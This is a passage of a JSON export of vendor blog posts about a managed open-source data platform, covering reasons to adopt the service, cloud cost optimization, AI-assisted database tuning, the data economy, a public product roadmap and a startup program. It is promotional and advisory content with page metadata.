scaled up and out without service interruptions, and support levels can be improved, too.\n\nThat said, it’s not very expensive to use Aiven directly from the beginning. The hobbyist plans are kind of test versions but already hosted by Aiven. Which way to go about service prototyping is up to you.\n\n## #4. “We don’t want to end up in a vendor lock”\nUnlike most cloud providers, Aiven services are the direct opposite to a vendor lock. We keep our customers by offering good service, not by tricking them to use vendor specific features and extensions. \n\nBeing based on unmodified open source means that the migration path out of Aiven is very easy and for many services you can do this without service interruptions. Also, you can run Aiven provisioned services side by side with your own and duplicate your data to both if you want to be extra sure that getting out is an option.\n\nOn a different level, Aiven helps enormously when you want to get out of other cloud vendor locks. Aiven features seamless migration of services between clouds. When you switch cloud providers, migrating data services is usually the worst and most error prone part of the process. Being able to do that by a simple API call is a lot of effort saved.\n\nEven when you’re not migrating, the ability to run an exactly similar service on multiple clouds helps if you need to run in different environments - as we did in my previous job. Even if you’re not actively planning to move between clouds, having this option available takes away some of the stress of choosing one.\n## #5. “It doesn’t fit in our existing infrastructure for logging / monitoring / metrics / infrastructure-as-code”\nIt might be true, but it might also be just a misconception. Aiven integrates very well with many existing observability and alerting services, and provides good support for IaC (infrastructure-as-code) tools. We have a [Terraform provider](https://github.com/aiven/terraform-provider-aiven \"Aiven Terraform provider | GitHub\"), a [Kubernetes operator](https://aiven.github.io/aiven-operator/ \"Aiven Kubernetes operator | GitHub\"), and a [clean API](https://aiven.io/docs/tools/api) for automating all kinds of setup tasks. So the answer to this of course depends on what you’d like to integrate into, but most likely the blocks are already there.\n\nSometimes it also happens that the building blocks provided by Aiven are better than what you’re currently using. We offer state-of-the-art open source logging and metrics services and you can run them side by side with the old ones. It might well happen that when management sees the new dashboards, they want to switch over immediately.\n## Wrapping up\nWhile the need for Aiven can be worked around with, the other options will probably incur more risks or be more expensive. If properly running a data service is not your primary business but not irrelevant to your success either, you will most likely get better service for less money if you get a managed data solution such as Aiven.\n\nFor the City of Helsinki, the story had a happy ending: we were able to defend our choice of using Aiven in face of all the questions that were raised. \n\nI hope this article provides some talking points that clarify your arguments for adopting Aiven at your company. If you run into something new not discussed here, don’t hesitate to contact me or our solution architects. We will be very interested in discussing the forces involved in your case.\n\n--\n\nNot using Aiven services yet? Sign up now for your free trial at [https://console.aiven.io/signup](https://console.aiven.io/signup \"Aiven free trial signup link\")!\n\nIn the meantime, make sure you follow our [changelog](https://aiven.io/changelog) and [blog](https://aiven.io/blog) RSS feeds or our [LinkedIn](https://www.linkedin.com/company/aiven/) and [Twitter](https://twitter.com/aiven_io) accounts to stay up-to-date with product and feature-related news.","categories":[{"_key":"3RInNwDlIfGT91IDLKEgDC","_ref":"3RInNwDlIfGT91IDLKEgDC","_type":"reference"}],"mainImage":{"alt":"","asset":{"_ref":"image-637fb0219c35234791950b9103d5470638e1a56f-1567x844-png","_type":"reference"}},"publishedAt":"2021-11-22T00:00:00.000Z","seo":{"metaDescription":"Panu Kalliokoski is here to tell you AND your boss why Aiven is the way to go. Feel free to send the link along to the higher-ups in your company!","metaImage":{"alt":"","asset":{"_ref":"image-637fb0219c35234791950b9103d5470638e1a56f-1567x844-png","_type":"reference"}},"metaTitle":"Why you(r boss) should choose Aiven"},"slug":{"_type":"slug","current":"/blog/why-your-boss-should-choose-aiven"},"subtitle":"Panu Kalliokoski is here to tell you AND your boss why Aiven is the way to go. Feel free to send the link along to the higher-ups in your company!","title":"Why you(r boss) should choose Aiven"} {"__i18n_lang":"en","_createdAt":"2023-04-18T09:52:05Z","_id":"049caade-03fb-448a-8f3b-2c8a40f1f81f","_rev":"YWHkZRhDz94HWGkESqC6au","_type":"post","_updatedAt":"2024-09-23T13:51:07Z","authors":[{"_key":"b55a6ef8fa97","_ref":"165358df-fb36-400c-a384-d0874d19dfff","_type":"reference"}],"body":"## Why is cloud cost optimization crucial?\n\nAs your organization moves more and more workloads to the cloud, it’s important to understand the impact of successfully and cost-efficiently running your applications in a cloud environment (or even across multiple clouds). Optimizing your cloud deployment isn’t a ‘one-time-thing’ that you can implement in a day or a week and be done with it. Strategies for optimizing your [cloud infrastructure costs](https://landing.aiven.io/optimize-your-cloud-costs-with-aiven-data-platform/) can range from those that are tactical and easily executed in a matter of days, all the way to those that are more strategic and continuous in nature and ultimately support the organization’s bottom line. Streamlining your cloud spend has benefits that go beyond cost reduction. By guiding your technology and infrastructure decisions, it can positively impact developer productivity and help future-proof your tech stack.\n\nEspecially in times of economic uncertainty, development teams and technology organizations are often requested to provide the same level of uptime, security and resiliency for their services while reducing the overall TCO (Total Cost of Ownership). So cloud cost optimization is an increasingly important topic.\n\nNo matter if you’re using the Aiven Cloud Data Platform for the first time or scaling your existing deployments, the following sections will help you. We share best practice for ensuring optimal usage of your cloud resources and a framework to help you ask the right questions and make the appropriate decisions for your overall architecture.\n\n\n::banner[Mike Zimberg, CTO at Digital Asset Research, shares how they achieved a 99.99% uptime, while lowering their managed Apache Kafka® costs by 25% and improving their performance by 10x.]{ctaText=\"Watch fireside chat\" ctaLink=\"https://aiven.io/webinar/cost-optimization-digital-asset-research\" title=\"Learn how DAR optimized their cloud costs with Aiven\" theme=\"dark\"}\n\n\n\n### Cloud cost optimization strategies: immediate steps\n\nWhen you are looking to streamline your cloud spend, there are a few easy steps you can take from the start. Some of these include:\n\n1. Verify that your services are properly sized for the volumes of data you are expecting. Understandably, development teams often want to overprovision some of the services to accommodate spikes in data traffic and mitigate the possibility of downtime. However, correct sizing can have a significant impact on the cost structure. Evaluate whether any unnecessary cloud resources are being utilized and, where appropriate, downsize those to the correct level or terminate any unused resources altogether.\n\n2. Try to minimize any aging, homegrown configuration code and pieces of your infrastructure that are hard to maintain. More often than not, these configuration elements are prone to mistakes and bugs and need both additional governance and extra time to provision and tear down. This results in lower developer productivity through additional man hours and unnecessary work for your developers. The solution? Ensuring that such configurations can be automated and embedded into your tooling. This can be done by using a Terraform provider or making sure that you manage any Kubernetes clusters and resources with the use of a Kubernetes operator for maximum automation and efficiency.\n\n\n3. Finally, ensure that the appropriate monitoring and alerting configurations and best practices are in place. This will ensure you can easily detect abnormalities in your resource consumption and provide a real-time view of your cloud resources consumption at any given point in time. Bringing the correct monitoring and metrics components to your tech stack is a must-have when you are streamlining your cloud spend.\n\n\n### Cloud cost optimization strategies: a midterm approach\n\nNow it’s time to step back and take a look at the bigger picture of your overall architecture and tech stack. This is a midterm implementation strategy where you need to find answers to the following topics:\n\n1. What do your operational patterns look like now, and can they be optimized further? For example, are there spikes in utilization that you can predict based on specific company activities and plans in the coming months or quarters? Do you experience any seasonality in your sales or operations? Answering such questions will ultimately help you define an optimal strategy for provisioning your cloud operations for increased efficiency\n\n\n2. What do your dev, Q\u0026A and production environments look like right now? And can they be further streamlined? Ensuring that different types of instances are treated appropriately in your cloud infrastructure will make sure that your cloud resource pool is used optimally. Here you should consider using automation and IaaC tools such as Terraform, AWS CloudFormation, Azure Resource Manager, Google Cloud Deployment Manager and others.\n\n\n3. Which components of your overall tech stack need to be evaluated? Are there proprietary, commercial pieces in your infrastructure that can be easily migrated to open source alternatives at a fraction of the cost? What is the cost of operating and maintaining these proprietary pieces of infrastructure and how can this be reduced by turning to open source alternatives (especially when they are fully managed for you out of the box)? \n\n Be sure to thoroughly examine and evaluate the different components of your architecture. Task your teams with finding alternative solutions that can do the same job possibly at a more competitive price point.\n\n Additional benefits for choosing open source alternatives for your tech stack include getting access to a pool of developer talent from the community, having the opportunity to reuse some of your data assets and improving your developer productivity with familiar development tools used and developed by open source communities.\n\nOne company that has successfully implemented this is ‘clean’ digital asset data, insights, and research provider [Digital Asset Research](https://aiven.io/case-studies/digital-asset-research-boosts-resiliency-with-aiven). The team at Digital Asset Research reviewed specific components of its architecture and by moving to Aiven they were able to secure a 99.99% uptime, lower their costs by 25% and improve their performance by 10x when scaling their operations.\n\n\n### Cloud cost optimization strategies: an ongoing team effort\n\nNow it’s time to look more strategically into what your tech stack will look like for a sustainable growing operation in the years to come. Here you should take into consideration different components such as: \n\n1. **Your cloud vendor.** Which cloud vendor are you currently using and how happy are you with the level of service and cost provided by them? How will your cost structure be impacted once your services and applications expand to larger scale? Here you can evaluate whether moving to a different cloud vendor would bring reduced costs or improved service levels if your deployments increase in the future. You should also factor in other cloud migration costs — what downtime will you experience and how will this migration process impact your overall team productivity in the midterm? \n\n Aiven supports a [painless migration process to a different cloud vendor](https://aiven.io/docs/products/postgresql/howto/migrate-cloud-region) or region with minimum to near-zero downtime. Additionally, Aiven has a global presence with [100+ supported cloud regions](https://aiven.io/docs/platform/reference/list_of_clouds) and can support you wherever you need to operate. An additional strategy could be staying with the same cloud vendor but choosing a different managed service to reduce costs and improve your overall cost predictability with a vendor like Aiven.\n\n2. **Your technology stack.** What tech are you currently using for your different use cases? And is it optimal? Is there a different piece of technology that can both lower your data management cost structure and better fit your specific use case(s), for example in terms of latency requirements or networking traffic volumes you expect in six or nine months from now? Thoroughly examine your architecture and ensure that the chosen tech stack is future-proof and can support your organization in the quarters/years to come. \n\n Aiven’s easy migration process allows you to move to a different, open source managed service that can support your growth without exploding your cloud expenditure. Aiven services are deployable in the cloud of your choice, so there’s no need to change or move away from your hyperscale cloud provider if you choose to leverage any multiyear spend commitments you have secured with them already.\n\n A company that has done it successfully is delivery service [Wolt](https://aiven.io/case-studies/aiven-delivers-for-wolt-business). Wolt has been investing in its technology stack, building a platform that can scale for quick expansion and future growth. *“One of the key enablers for us to compete successfully in the delivery space is the fact that Wolt has been investing heavily in the platform and the technology,”* said Mikko Peltola, Head of Infrastructure at Wolt. *“We’ve invested in building a platform that supports quick expansion and growth for our business.”*\n\n3. **Last but not least your team.** Does your current code and technology limit your developer productivity? How can you make your developers both more productive and successful with the chosen suite of technologies they are using? Are they happy operating and maintaining pieces of software that are aging fast? Or would they rather deploy open source technologies backed by vibrant and live communities that they can become a part of and contribute to? Ensuring that your tech stack meets (or even exceeds) the needs and demands of your tech team will significantly improve your team’s productivity and reduce your talent turnover, giving you a competitive advantage in the challenging recruitment market.\n\n::banner[Optimizing cloud infrastructure can not only save you money, but also improve efficiency and support business growth. ]{ctaText=\"Read more on optimizing your cloud spend\" ctaLink=\"https://landing.aiven.io/optimize-your-cloud-costs-with-aiven-data-platform/\" title=\"Optimize your cloud costs with Aiven’s data platform\" theme=\"light\"}\n\n\n## Wrapping-up\n\n[Optimizing cloud infrastructure costs ](https://landing.aiven.io/optimize-your-cloud-costs-with-aiven-data-platform/)is often seen as a quick fix rather than a strategic, long term and ongoing effort. While there are immediate steps you can take to reduce costs quickly, the mid to long term strategies are critical to ensuring a sustainable and cost-efficient mode of operating as a successful technology group. \n\nOur team of experts at Aiven runs regular workshops with customers on what a potential cost optimization strategy could look like — tailored to the use case, existing tech stack and setup. If you are interested in finding out more about how your services and cloud spend can be further streamlined, [get in touch](https://aiven.io/contact) with our team today and schedule a call.\n\nNot an Aiven customer yet? You can [schedule a demo](https://aiven.io/book-demo) and explore one (or multiple) of the 11 open source technologies provided in the Aiven console. Be sure to check them out.\n\n## Further Reading\n\n- [What is ETL?](https://aiven.io/glossary/what-is-etl)","categories":[{"_key":"d429d1c12cad","_ref":"69316106-95ff-4b45-9d10-4d4279c8c8fb","_type":"reference"},{"_key":"cd140200c826","_ref":"5xudGcikDUGEMuFsHkfr0z","_type":"reference"}],"internalBlogProcess":"editorial","mainImage":{"_type":"mainImage","alt":"Cloud infrastructure cost optimization, cloud cost optimization, Aiven data infrastructure","asset":{"_ref":"image-556c74341f59c87a641f332e857c906f51165502-1567x844-png","_type":"reference"}},"publishedAt":"2023-04-20T11:13:05.199Z","related":[{"_key":"767d8ebd8f6c","_ref":"09984051-2fbb-4356-83b1-4a439dc158bb","_type":"reference"},{"_key":"ea0ed23fe0d3","_ref":"3MggLA9OLDbYdLjn5eZSx6","_type":"reference"},{"_key":"dab154ebf108","_ref":"47NwTuWwRg9g7l0ywIXsIR","_type":"reference"}],"seo":{"_type":"metaData","metaDescription":"Cloud cost optimization is a topic that comes up frequently in client interactions. Read on to learn how to cut your infrastructure costs.","metaImage":{"_type":"mainImage","alt":"Cloud infrastructure cost optimization, cloud cost optimization, Aiven data infrastructure","asset":{"_ref":"image-556c74341f59c87a641f332e857c906f51165502-1567x844-png","_type":"reference"}},"metaTitle":"What to Consider When Optimizing Cloud Infrastructure Costs"},"slug":{"_type":"slug","current":"/blog/optimizing-cloud-infrastructure-costs"},"subtitle":"Cloud cost optimization is a topic that comes up frequently in client interactions. Read on to learn how to cut your infrastructure costs.","title":"Things to Consider When Optimizing Cloud Infrastructure Costs"} {"__i18n_lang":"en","_createdAt":"2024-01-10T22:53:39Z","_id":"51b147a9-2d2f-4b72-a8c4-eb5bb6f99d5d","_rev":"sEwq5NBiPauorOxrhi8RNP","_type":"post","_updatedAt":"2024-11-19T06:03:58Z","authors":[{"_key":"2716036a5bf6","_ref":"cd9f3dc9-f305-4c1c-9cc8-16587dece8b0","_type":"reference"}],"body":"Optimizing databases has been a constant struggle from the early days of DBAs working on mainframes, through the transition to distributed systems, and continues to be a struggle today. The engineers of today manage a numerous and diverse set of data systems and data architectures. As cloud platforms were introduced, the diversity exploded along with heavy usage of data streaming technologies. The challenge of managing this diversity became insurmountable as it quickly outpaced what a single person or even a team of experts could manage. \n\n## The current state of optimization\n\nToday, the availability of tools which suggest improvements or optimizations is limited. The choice is between a few commercial offerings, some rather stagnant open source tools, and several extensions to popular databases platforms which offer a diverse set of optimization capabilities. When it comes to optimization, there are two methods that can be adopted: automated or non-automated.\n\nOn the non-automated side, most of the databases provide basic tooling for programmers to build performance visibility and (possibly) optimization automation. These foundational tools are included in commercial offerings or part of the community for open source data technologies. Such tools enable profiling, monitoring, vacuuming, and being able to tweak the configuration of the runtime itself. The most innovative technologies out there also provide indications as to how you might optimize a query or when indexes should be added. These are largely centered around relational databases and require an understanding of database internals. \n\nOn the automated side, there are open source extensions and tools which autonomously build indexes to optimize performance, along with capturing metrics to drive and test the automation. There is not much else which is automated to help unless you enlist commercial software. There are companies in that space who will automate selecting of indexes, including the [EverSQL by Aiven] (https://eversql.com/) technology, which we are building into the platform. The other aspect is the configuration of the given system. These tools look at the settings on a specific database, but do not tend to look at the operational nature of the database workload. Tuning configurations can have a big impact on performance. Keep in mind, all of these techniques are only focused on today’s distributed relational databases. \n\n## Applying new techniques to solve this for streaming systems\n\nIn the future, we will have a broad application of AI to solve the same problems with relational databases. But the bigger dataset today is flowing through streaming systems, such as the popular Apache Kafka solution, which have complex needs to tune and optimize. Examples of Kafka tuning include automated partitioning of data across a cluster of Kafka servers to ensure the workload is balanced, applying configuration settings to Kafka  topics to size the right retention, and automating the use of tiered storage. At an even lower level, we can change the segment sizes and compression of the topics to further seek performance gains from a given sized Kafka cluster. \n\nOutside of Kafka, there are immense sets of data in non-relational databases. One example we see in the community is the opportunity to improve OpenSearch performance. There is currently a lack of products aimed at optimizing OpenSearch; however, some enhancement in commercial software are driving performance improvements by optimizing mappings and the usage of templates. Some settings on specific indices can be set on optimal refresh intervals, number of shards, and replicas. If you are on Aiven, optimization can be taken a lot further. One possible solution for write back pressure on OpenSearch clusters is to use Kafka as a buffer. Kafka can queue the incoming data and reduce the load on OpenSearch. This way, we can avoid paying for bigger OpenSearch clusters and save money.\n\nOnce the work is done to optimize the infrastructure, we can dedicate some focus on tuning the queries which are impacting the data stores. We can learn from the lessons in the relational database space to drive optimization in other spaces like OpenSearch. By adjusting the caching parameters or being able to provide users with filters suggestions, we can further enhance the query performance. Furthermore, based on the workload specifics, we can start tuning low level settings in the OpenSearch JVM like the heap size. Finally, we can apply best practices to indices, including doc values and _sourceid settings, which can improve query performance based on the data structure on disk.\n\n## How AI can help data infrastructure optimization\n\nMost of the solutions so far on the market are human labor based: data experts monitoring the cluster workloads health and tuning knobs based on their observations. However, this approach is not scalable. With more and more clusters to monitor, and with the increasing variety of technologies involved in a data project, relying on humans to monitor, understand anomalies and address them manually is not future-proof or affordable. Just a sick day of an expert could generate slowness, downtime, and related financial impacts.\n\nThis is where AI can help. By automatically monitoring data infrastructure clusters, identifying anomalies and providing suggestions about best practices to implement, we can reduce the burden on humans, optimize their productivity and enhance the overall data infrastructure performance and cost. Moreover, by pushing performance optimization suggestions to developers and data professionals, we can enhance the data literacy and education of the entire workforce.\n\n## The results of optimization\n\nThe net result of the AI-driven optimization process is not only a better data experience, but also increased developer productivity and education. Once the teams are aware of what is possible and what can be automated, the improvements can not only speed things up but reduce costs as wasted infrastructure can be removed or repurposed. Here at Aiven our goal is to help our customers rightsize their plans, directly impacting their costs and improving the bottom line. We look forward to the future when we can embed our AI-powered optimization technologies across the product portfolio of leading open source databases and data streaming technologies. \n\n\n## Further reading\n\n- [Static IP addresses for your data infrastructure](https://aiven.io/blog/static-ip-for-your-service)\n- [What is ETL?](https://aiven.io/glossary/what-is-etl)","categories":[{"_key":"008d66138175","_ref":"69316106-95ff-4b45-9d10-4d4279c8c8fb","_type":"reference"},{"_key":"7d71e893dcfd","_ref":"5xudGcikDUGEMuFsHkfr0z","_type":"reference"}],"mainImage":{"_type":"mainImage","alt":"How AI can help data infrastructure optimization","asset":{"_ref":"image-41ecbc9789dcc9567a291f964aea5b904e0dd078-1200x628-png","_type":"reference"}},"publishedAt":"2024-01-10T14:00:44.777Z","related":[{"_key":"f6d587389575","_ref":"af003bf7-aba3-434b-ade1-570f947699e1","_type":"reference"}],"seo":{"_type":"metaData","metaDescription":"AI-driven database optimization improves data and developer productivity, speeding up processes and cutting costs. Find out how Aiven can help!","metaImage":{"_type":"mainImage","alt":"How AI can help data infrastructure optimization","asset":{"_ref":"image-41ecbc9789dcc9567a291f964aea5b904e0dd078-1200x628-png","_type":"reference"}},"metaTitle":"How AI can help data infrastructure optimization"},"slug":{"_type":"slug","current":"/blog/ai-in-database-and-streaming-system-optimization"},"subtitle":"The net result of an AI-powered optimization process is not only a better data experience, but also increased developer productivity. Once the teams are aware of what can be automated, the improvements can not only speed things up but reduce costs.","title":"How AI can change the game in the database and streaming system optimization field"} {"__i18n_lang":"en","_createdAt":"2024-11-25T15:17:41Z","_id":"0ad4e125-5238-4750-a6d4-0edba23b4856","_rev":"CsJhS699U5wscrFy6aW0Aa","_type":"post","_updatedAt":"2024-12-05T09:00:08Z","authors":[{"_key":"d3395abf77e9","_ref":"3dImkQse2fXRL7zTLzAoa1","_type":"reference"}],"body":"This is the second piece in our Data Economy series. While the first, available [here](https://aiven.io/blog/the-data-economy-a-one-trillion-euro-windfall-for-europe-in-2025), looked at the data economy as a whole and why it is important, this piece looks more specifically at the environment around the data economy. This includes both the environment needed for it to thrive and the ecosystem of companies and businesses that are being created in order to evolve it. We also explore the role of the [Aiven Cluster startup program](https://aiven.io/cluster) when it comes to supporting the companies that will be the cornerstone of the data economy in years to come.\n\n::youtube[Creating an environment for the data economy to thrive.]{#Bdr7YWRNFSQ}\n\nThe data economy is one in perpetual motion, constantly being driven by new and innovative companies entering the market. It’s a technological equivalent of the chicken and egg scenario.\n\nDo these new, data-oriented companies grow because the environment is right for them to do so or do they, by their very being, create the environment in which others can follow? In truth, it’s probably a bit of both. But what does that environment look like and, perhaps more pertinently, what about it is attracting those companies intent on improving it for those that are to follow?\n\n## How to become a tech superpower\nWe covered precisely what the data economy offers in the first [article](https://aiven.io/blog/the-data-economy-a-one-trillion-euro-windfall-for-europe-in-2025) in this series. Understanding customer behavior, optimizing supply chains and predicting market shifts are just a few ways in which data-driven insights foster innovation. Start-ups and established enterprises alike leverage data to identify untapped opportunities, enhance product and service offerings, and streamline operations. In that regard, who wouldn’t want to be part of it?\n\nGovernments are also wise to the possibilities. For instance, last year the [UK government](https://www.gov.uk/government/news/plan-to-forge-a-better-britain-through-science-and-technology-unveiled) announced its ambition to become a global science and technology superpower by 2030. This included a raft of new measures backed with GBP 370 million to “*boost investment in innovation, bring the world’s best talent to the UK, and seize the potential of ground-breaking new technologies like AI*”.\n\nOnly 18 months down the line and the initiative is already having an impact. A recent [study](https://www.aboutamazon.co.uk/news/aws/uk-digital-technology-report-2024) commissioned by AWS found that there has been a marked increase in UK companies adopting new technologies like AI. On top of that, it also reported that this acceleration could add GBP 520 billion to the UK economy by 2030, and help the UK to meet its ambition to become a tech superpower as early as 2028.\n\nBeyond the headline figures, this tells us a couple of things. Firstly, that the right environment will breed the right types of company and secondly, that today’s companies are eager to become influential elements of the wider data economy.\n\n## If you can’t access it, you can’t use it\nYet you can’t simply buy a ticket to join the data economy. Nor will blindly throwing money at it grant access. To join the data economy, businesses need to first get to grips with their data. A point made clear in a recent conversation we had with **Luca Eisenstecken, investor at** [Atomico](https://atomico.com/), who said: \n\n\u003e The best companies, in relation to the data economy, have a few common traits, such as deep curiosity and desire to use cutting edge technologies to gain an advantage over competitors.\n\nThe ability to access all forms of data is an integral part of becoming a fully functional member of the data economy, however many organizations lack fully unrestricted access to data. This failure to break down internal data silos, impedes data sharing and collaboration across an organization’s business unit. It was a point reinforced by one of our [Aiven Cluster startup program](https://aiven.io/cluster) participants, **Nilesh Bansal, co-founder and CTO at** [Workorb](https://www.workorb.com/), who said: \n\n\u003eData accessibility is hindering the data economy because if you cannot access the data, you cannot use it. Period. \n\nWorkorb is founded on the premise of helping companies harness the power of AI to create tools that enhance their productivity and streamline their workflows. \n\n## An ecosystem of cooperation\nThe more data an organization has, the more it can use and the bigger role it plays in the data economy. It’s a self-fulfilling prophecy and one of the reasons why there is a disparity between companies at either and of the data scale. A point explained by **Jérémy Barneron, Senior Software Engineer at fintech start-up**, [Dojo](https://dojo.tech/make-every-second-count/) who said, “*The larger tech companies have already mastered the data economy and how to make sense of their data in real-time to grow their revenue and deliver value to their customers. We need to start leveling the playing field and find a way to make data accessible to start-ups so they can compete with the larger companies.*”\n\nThe whole premise of the data economy falls down if the data — and therefore power and influence — is held by a minority of big, influential companies. Organizations must be part of a data economy based on ecosystems of parties cooperating on shared goals whilst not losing sight of their respective bottom lines.\n\n## Cluster program\nIndeed, the data economy exists precisely because those involved are willing to share, give back and help. And it’s working at both a public and private level.\n\n[The European Commission](https://eit.europa.eu/news-events/news/nine-eit-digital-supported-companies-approved-eic-accelerator-fast-track) is Europe’s largest deep tech investor and the EIC Accelerator is one of the most competitive public funding schemes in the world. It invests in technology to bring about positive societal, economic, environmental and climate impacts. There are any number of private schemes but perhaps the most well-renowned is [Google for start-ups](https://startup.google.com/) — since graduating from [Google’s accelerator programs](https://blog.google/outreach-initiatives/entrepreneurs/accelerator-impact-report/#:~:text=These%20startups%20now%20employ%20nearly,REDD%2B%20project%20in%20Acre%2C%20Brazil.), 20 alumni have gone on to become unicorns (privately-owned startups with a valuation of over USD 1 billion) — and one is even a decacorn (privately-held firm that exceeds the valuation of USD 10 billion). These startups now employ nearly 120,000 people worldwide.\n\n**Andra Nuta**, who runs the Aiven Cluster startup program which offers start-ups up to USD 100,000 in credit to use on Aiven’s fully managed services for a year, said, “*Think of the business world as an ecosystem. At first glance, it might seem like all these different companies — big corporations, tiny startups — are operating independently. But in reality, they're interconnected. A small startup can actually leverage the resources and expertise of larger companies by partnering with them. This collaboration creates a win-win situation where both the startup and the established company benefit.*”\n\n## A blueprint for wider society\nIn many respects, the data economy is a blueprint for wider society with participants working to a greater good while not losing sight of their own goals and objectives. It is also one where new entrants are not only welcomed, but helped to thrive and compete.\n\nImagine an environment that is well balanced, encourages growth and improvement, gives back to its members and improves life for all involved. This isn’t a Utopian society or a rose-tinted vision of a future we’re yet to realize. It’s the here and now and that’s why the data economy is the greatest operating environment the world has ever seen. \n","categories":[{"_key":"932964104d93","_ref":"fbc8860d-6c02-4a94-a281-8dd04c2ebdcd","_type":"reference"},{"_key":"b49760984a04","_ref":"5xudGcikDUGEMuFsHkfr0z","_type":"reference"}],"internalBlogProcess":"editorial","mainImage":{"_type":"mainImage","alt":"Is the data economy the world's greatest operating environment?","asset":{"_ref":"image-258372e4ca2e141814c24ceccda13db144a08cae-1200x630-png","_type":"reference"}},"publishedAt":"2024-12-03T14:42:34.843Z","related":[{"_key":"bbac45ef9dcf","_ref":"ed060249-9434-471e-aa59-4802e435a290","_type":"reference"},{"_key":"2f83167b4fac","_ref":"a206e792-7b27-449f-8716-f1fb92cb70e4","_type":"reference"}],"seo":{"_type":"metaData","metaDescription":"The building blocks of the Data Economy are reliant on organizations of all sizes working together on shared goals, instead of their own interests.\n","metaImage":{"_type":"mainImage","alt":"Is the data economy the world's greatest operating environment?","asset":{"_ref":"image-258372e4ca2e141814c24ceccda13db144a08cae-1200x630-png","_type":"reference"}},"metaTitle":"The Data Economy: Becoming a Tech Superstar"},"slug":{"_type":"slug","current":"/blog/is-the-data-economy-the-worlds-greatest-operating-environment"},"subtitle":"Is the Data Economy the World’s Greatest Operating Environment?","title":"Is the Data Economy the World’s Greatest Operating Environment?"} {"__i18n_lang":"en","_createdAt":"2023-07-19T09:08:13Z","_id":"abbc29b7-31fd-4f58-b379-96cf451ea710","_rev":"sEwq5NBiPauorOxrhfBVI1","_type":"post","_updatedAt":"2024-11-18T12:59:29Z","authors":[{"_key":"4fc20bc9a278","_ref":"e0a137e9-37e9-4442-9281-24f3904a5734","_type":"reference"}],"body":"Transparency is at the forefront of any trusting relationship. We've heard that many Aiven customers want to have visibility to our future product plans, and that they also want to collaborate more closely with Aiven’s product teams by contributing their ideas and opinions. With these goals in mind, we are excited to announce the launch of [Aiven Ideas](https://ideas.aiven.io/), our public product roadmap.\n\n![image](https://cdn.sanity.io/images/sczeoy4w/production/a7af92161144f4cf98fbe33bc917bec611e50d1b-1223x1209.png?w=450)\n\n\nWith Aiven Ideas, you can influence the direction of Aiven's product development. It's a forum where you can interact with our product team, give feedback on existing features, post ideas for new features, and vote on the ideas of others. You can receive notifications when the status of ideas change, so you can see how they evolve into new features. Our team will keep a close eye on your ideas and feedback, and we may reach out to you if we need more information.\n \nFor example, if you want to run custom code in Aiven for Apache Flink®, you can navigate to [this idea](https://ideas.aiven.io/forums/951277-event-streaming/suggestions/46266534-allow-inspected-custom-code-jars-in-apache-flink), vote for it, provide information about your use case in a comment, and say how important this feature is for you.\n\n![image](https://cdn.sanity.io/images/sczeoy4w/production/16d5763cdca5b6e4da6ebfb474d287e75195a0c6-1410x812.png?w=450)\n\nOur product team wants to hear your opinion. Take action now and register on [Aiven Ideas](https://ideas.aiven.io/) to give feedback and new ideas. We can’t wait to hear from you!\n\n-----\n\n[Aiven Ideas](https://ideas.aiven.io/) is for sharing ideas about how to improve Aiven’s trusted open source data platform. To see what the product team has been up to lately, please check out the summary [blog post](https://aiven.io/blog/whats-new-at-aiven-q22023) or join the [webinar](https://aiven.io/webinar/whats-new-with-aiven-q2q3-2023) of our recent announcements. For general discussions and advice on the open source technologies we provide as a service, please use the [Aiven community forum](https://aiven.io/community/forum/). If you are experiencing issues with our products and want to report a bug, then file a support ticket directly in the [Aiven Console](https://console.aiven.io/).\n","categories":[{"_key":"25f756ebaf4a","_ref":"ksykM2RWxnnen4wmbNFR6","_type":"reference"},{"_key":"887c7635f35e","_ref":"69316106-95ff-4b45-9d10-4d4279c8c8fb","_type":"reference"},{"_key":"7bc14a522a91","_ref":"6CI2flR8OpeiqtSCkEmG7Z","_type":"reference"}],"internalBlogProcess":"product","mainImage":{"_type":"mainImage","asset":{"_ref":"image-3661fa2f5f9e582c3b4f967803e2a25180e616a5-1567x844-png","_type":"reference"}},"publishedAt":"2023-08-02T11:06:46.412Z","related":[{"_key":"b9ffadad40fd","_ref":"577fa3d1-0ee8-42eb-b60d-c4ba693d1a15","_type":"reference"},{"_key":"2e7efaa015ef","_ref":"04de65a3-9096-49e0-a7b2-5fafc4d0f7d5","_type":"reference"},{"_key":"38c29c245896","_ref":"e25ec9b4-5d42-4b5b-8ff0-87001bbce526","_type":"reference"}],"seo":{"_type":"metaData","metaTitle":"Aiven Ideas | Shape Our Product Development"},"slug":{"_type":"slug","current":"/blog/announcing-aiven-ideas"},"subtitle":"At Aiven, we are doubling down on openness by making our product roadmap publicly available. Register now to provide your feedback and new ideas for development","title":"Announcing Aiven Ideas - your chance to shape the direction of our product development"} {"__i18n_lang":"en","_createdAt":"2023-02-28T08:38:37Z","_id":"a994f8fb-2ada-45d0-a99e-8b8d7d11d15b","_rev":"sEwq5NBiPauorOxrhihGLD","_type":"post","_updatedAt":"2024-11-19T09:57:11Z","authors":[{"_key":"489997d4202c","_ref":"d7d54e25-0f96-4e68-88fd-bb682d5c2d67","_type":"reference"}],"body":"We are thrilled to announce the latest batch of innovative startups joining the Aiven Cluster Startup Program. \n\nHere at Aiven, we are committed to supporting and empowering emerging companies in their journey towards success. We’ve been in their shoes in our early days and we understand the importance of optimizing resources and the support that trusted partners offer. Participating in startup programs as a young company and utilizing the credits and expertise we received through these programs was instrumental to our success. That's why we're dedicated to giving back to the startup community. By offering engineers access to our open source data platform, we want to help them prioritize product development and unleash their potential.\n\nWith this new cohort, we are welcoming new startups to the cast. So, without further ado, let's meet the 8 remarkable startups that have joined the Aiven Cluster family!\n\n\u003c!--\n![Logos for Cluster, Timeplus, Matchmade, Capply, Resourcify, Vest, Layer, Alving and Sidos](https://cdn.sanity.io/images/sczeoy4w/production/8da83cc4378a99f7569668733dd1231e45b0d452-960x540.png)\n--\u003e\n\n\n- **[Timeplus](https://www.timeplus.com/)** (United States) Headquartered in Santa Clara, California, Timeplus are developing an innovative streaming SQL database and real-time analytics platform.\n\n- **[Matchmade (SharkPunch Oy)](https://matchmade.tv/)** (Finland) help advertisers and YouTube creators work together in a better way so advertisers can focus on results and creators on content their audiences love.\n\n- **[Alvin](https://www.alvin.ai/)** (Estonia) Alvin’s mission is to enable teams of all sizes to improve the quality and usability of their data. Their core data lineage technology automatically builds and maintains a highly accurate dataset that represents the connection between columns, tables, dashboards, jobs, ML models and people.\n\n- **[Resourcify](https://www.resourcify.com/en/)** (Germany) provides an operating system 